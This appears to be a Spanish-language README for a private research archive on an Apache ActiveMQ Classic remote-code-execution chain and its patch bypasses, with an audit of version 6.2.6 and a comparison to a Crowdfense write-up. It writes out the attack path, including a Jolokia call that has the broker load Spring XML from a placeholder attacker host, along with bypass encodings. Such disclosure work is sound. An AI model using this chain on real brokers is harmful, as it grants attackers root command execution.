
Investigación de RCE en Apache ActiveMQ Classic: cadena de bypass de CVE-2026-34197 / CVE-2026-42588 + hallazgos de auditoría de hardened-6.2.6 + comparación con Crowdfense
Archivo de investigación privado para la cadena de ejecución remota de código Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML (CVE-2026-34197 y su evasión del parche CVE-2026-42588), además de una auditoría completa de auto-investigación de la versión corregida 6.2.6 y una comparación lado a lado con el informe público de evasión de Crowdfense.
Toda la explotación se realizó contra brokers de laboratorio locales (Docker / autoalojados). Los payloads utilizan hosts atacantes de marcador de posición.
| Dir | Fase | Qué incluye |
|---|---|---|
00-comparison-vs-crowdfense.md | Comparación | Nuestro trabajo frente al artículo «ActiveMQ RCE Bypass» de Crowdfense, verificado contra el código fuente en archivo:línea |
01-original-cve-2026-34197/ | Reproducción original | Análisis + scripts PoC + payloads Spring-XML (laboratorio: activemq-classic:5.18.6) |
02-reaudit-apr30/ | Matriz de versiones | uid=0 en 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7; evaluación + PoC + version-matrix.sh |
03-reaudit-42588-42253/ | Evasión en vivo | Evasión compuesta sin paréntesis (42588) + XSS de MessageServlet (42253), reproducidos en vivo |
04-audit-6.2.6/ | Auditoría completa | Auditoría de auto-investigación de 6.2.6 endurecido: informe final + registro de hallazgos |
Los árboles de código fuente y las distribuciones binarias del proveedor utilizados durante los laboratorios están excluidos a propósito (son de upstream, no nuestros).
Un llamador Jolokia autenticado (no autenticado en 6.0.0–6.1.1 mediante CVE-2024-32114) invoca BrokerView.addNetworkConnector(uri) con una URI de descubrimiento manipulada cuyo vm://…?brokerConfig=xbean:<url> interno obliga al broker a cargar un Spring XML controlado por el atacante, que instancia de forma ansiosa un bean ProcessBuilder antes de la validación del broker → ejecución de comandos del sistema operativo.
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory dynamic broker creation → XBeanBrokerFactory
→ ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE
Titular: tres hallazgos están probados en vivo hasta root/XSS; la auditoría de 6.2.6 añade un conjunto más amplio que está verificado contra el código fuente y evaluado de forma adversarial, pero aún no detonado en vivo. Ninguno de los extras de 6.2.6 es un RCE no autenticado nuevo — el proveedor cerró esas puertas; el riesgo residual se trasladó a la autorización y la codificación de salida.
AIOOBE del ordinal QoS de MQTT (QoS.values()[ordinal], entre protocolos, sin configuración) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException de short con signo en unmarshal de OpenWire · AMQ_SCHEDULED_REPEAT negativo que crea trabajos inmortales.
El Apache ActiveMQ RCE Bypass de Crowdfense cubre la misma cadena (ellos la registran bajo CVE-2026-34197; nosotros seguimos la evasión como su propio CVE-2026-42588). Ambas versiones convergen en una defensa de tres capas; la única divergencia es la Capa 2.
La única brecha: su truco de codificación porcentual en la Capa 2 + UNC/WebDAV logra una entrega totalmente remota sin primitiva de escritura local. El fallo del clasificador que explota (activemq-spring/Utils.java:123-129, un startsWith("file://") crudo sobre la cadena sin decodificar) está presente en nuestro código fuente exacto — pero la mitad remota es solo Windows (Linux trata //host/share como una ruta local), y nuestro laboratorio era Linux, así que no se pudo ejercitar allí. De todos modos, está muerto en 6.2.6 (la compuerta de esquema de VMTransportFactory rechaza xbean antes de que se ejecute Utils).
Seguimiento: un 5.19.6 alojado en Windows (o cualquier build anterior a 5.19.7/6.2.6) + un listener SMB/WebDAV nos permitiría demostrar la evasión de la lista blanca totalmente remota — la única capacidad que tiene el artículo y que nuestro ejercicio aún no ha mostrado.
Tres commits cierran la cadena: c1b44af11 (validar URIs compuestas sin paréntesis — parseComposite incondicionalmente + recursión), c2fc7a1d6 (bloquear XBeanBrokerFactory por defecto mediante la lista blanca de esquemas de VMTransportFactory) y be8415f24 (endurecimiento de la configuración de ejemplo: Jolokia a loopback, lista de denegación de operaciones con addNetworkConnector).
| ID | Hallazgo | Clase | Severidad | Autenticación | Prueba |
|---|
| CVE-2026-34197 | Jolokia addNetworkConnector → RCE xbean Spring-XML | RCE | Crítica | Post-autenticación (no autenticado 6.0.0–6.1.1) | En vivo — uid=0 en 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 |
| CVE-2026-42588 | Evasión de la lista de denegación de 34197 mediante URI compuesta sin paréntesis | RCE (evasión de parche) | Crítica | Post-autenticación | En vivo — uid=0 en 5.19.6 con parche de 34197 + 6.2.0 |
| CVE-2026-42253 | Inyección de cabecera de MessageServlet → XSS almacenado | Inyección / XSS | Media | Post-autenticación | En vivo en 6.2.0 |
| ID | Hallazgo | Clase | Severidad | Autenticación | Notas |
|---|
| C1 | static: falta en la lista de denegación → SSRF — static ausente de DENIED_TRANSPORT_SCHEMES; addNetworkConnector("static:(tcp://…)") → TCP saliente del broker | SSRF | Media | Admin / JMX | Variante de sink más allá de la misma lista de denegación 34197/42588 que cubre el artículo |
| B1 | Suscripciones duraderas IDOR de borrado entre clientId — removeSubscription se basa en el clientId suministrado por la conexión y no tiene compuerta en AuthorizationBroker | Autorización rota / IDOR | Media | Post-autenticación (pre-autenticación si la autenticación del broker está desactivada) | El nuevo más limpio |
| B3 | LDAP contraseña vacía → bind anónimo (LDAPLoginModule, sin comprobación de vacío) | Evasión de autenticación | Media (cond.) | Pre-autenticación | Condicionado a que el directorio acepte binds anónimos |
| A1–A7 | Familia de inyección por codificación de salida en consola — MessageId.textView controlado por el atacante (OpenWire v10+ y AMQP) sin escapar en ~7 sinks JSP/REST + path-traversal de FileSystemBlobStrategy | Inyección | Baja–Media | Productor → administrador | Limitado por CSP a inyección de HTML/contenido por defecto |
| B2 | Shiro WildcardPermission escalada de verbos por inyección de dos puntos | Escalada de privilegios | Baja–Media | Post-autenticación | Shiro no predeterminado |
| B4 | Autorización de destinos temporales fail-open asimétrica frente a fail-closed en no temporales | Autorización rota | Baja | Post-autenticación | Por diseño (AMQ-4721); nota de endurecimiento |
| B5 | StatisticsBroker replyTo omite la ACL de escritura cuando el plugin se ordena antes de la autorización | Autorización rota | Baja | Post-autenticación | Depende del orden de configuración |
| B6 | Inicio de sesión con certificado DN no canónico (getSubjectDN().getName()) → colisión de identidad entre certificados de la misma CA | Autenticación | Baja | Pre-autenticación (validado por TLS) | «Cualquier certificado autofirmado» no funciona |
| B7 | JMSXUserID suplantable cuando populateJMSXUserID=false (el valor por defecto) | Suplantación | Baja | Post-autenticación | — |
| F5 | El nombre de cabecera STOMP saliente nunca se escapa → inyección de tramas al suscriptor co-tenant | Inyección | Baja | Entre protocolos | STOMP habilitado |
| Capa | Defensa | Cómo la vence Crowdfense | Cómo la vencimos nosotros |
|---|
| 1 | Lista de denegación de esquemas (fix de 34197) | Compuesta sin paréntesis static:vm://… | La misma — encontrada de forma independiente ✅ |
| 2 | Lista blanca {file,classpath} de xbean (#1910) | file:%2f%2f… con codificación porcentual → Windows UNC → WebDAV → recuperación HTTP remota | Archivo local xbean:/tmp/evil.xml (requiere escritura local) |
| 3 | Compuerta de esquema de VMTransportFactory (broker,properties, el fix de 42588 / 6.2.6) | Reconocida como la definitiva | Misma conclusión ✅ |